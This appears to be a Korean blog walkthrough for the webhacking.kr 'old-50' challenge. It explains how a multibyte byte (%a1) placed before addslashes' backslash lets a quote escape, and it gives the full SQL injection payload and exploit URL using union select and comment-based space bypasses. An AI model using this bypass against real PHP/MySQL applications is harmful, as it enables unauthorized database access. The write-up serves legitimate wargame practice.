본문 바로가기

Web Security/webhacking.kr

[Webhacking.kr] old-50

https://webhacking.kr/challenge/web-25/

 

Challenge 50

 

webhacking.kr

 

소스 코드

 

50번 문제는 mb_convert_encoding() 함수의 취약점을 활용하여 문제를 해결할 수 있다. 

mb_convert_encoding() 함수는 멀티바이트를 사용하는 언어셋 환경에서 \ (백슬래시) 앞에 %a1~%fe 값이 들어오면 인코딩이 깨지며 \ (백슬래시)를 덮어버리게 되는 문제가 발생한다. 

 

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

 

위 쿼리를 우회하기 위해 스페이스바를 /**/로 대체하였고

mb_convert_encoding() 함수의 취약점을 활용하여 ' (single quote) 를 위해 %a1%27 를 입력으로 주었다. 

md5 암호화 하는 부분 또한 삭제하기 위해 /**/ (주석)을 사용하였다. 

 

%27은 ' (single quote) 를 URL Encoding 하면 나오는 값으로 addslashes() 함수로 인해 \' 이와 같이 표현된다.

그렇기에, \ (백슬래시)를 없애주기 위해 %a1를 붙여 mb_convert_encoding() 함수의 취약점을 활용해준다. 

 

id: %a1%27/*

pw: */union/**/select/**/3#

=> select lv from chall50 where id='%a1%27/*' and pw=md5('*/union/**/select/**/3#')

 

우회 완료 :)

https://webhacking.kr/challenge/web-25/?id=%a1%27/*&pw=*/union/**/select/**/3%23

'Web Security > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-08  (0) 2023.06.18
[Webhacking.kr] old-45  (0) 2023.05.27
[Webhacking.kr] old-24  (0) 2023.05.19
[Webhacking.kr] old-21  (0) 2021.08.01
[Webhacking.kr] old-20  (0) 2021.08.01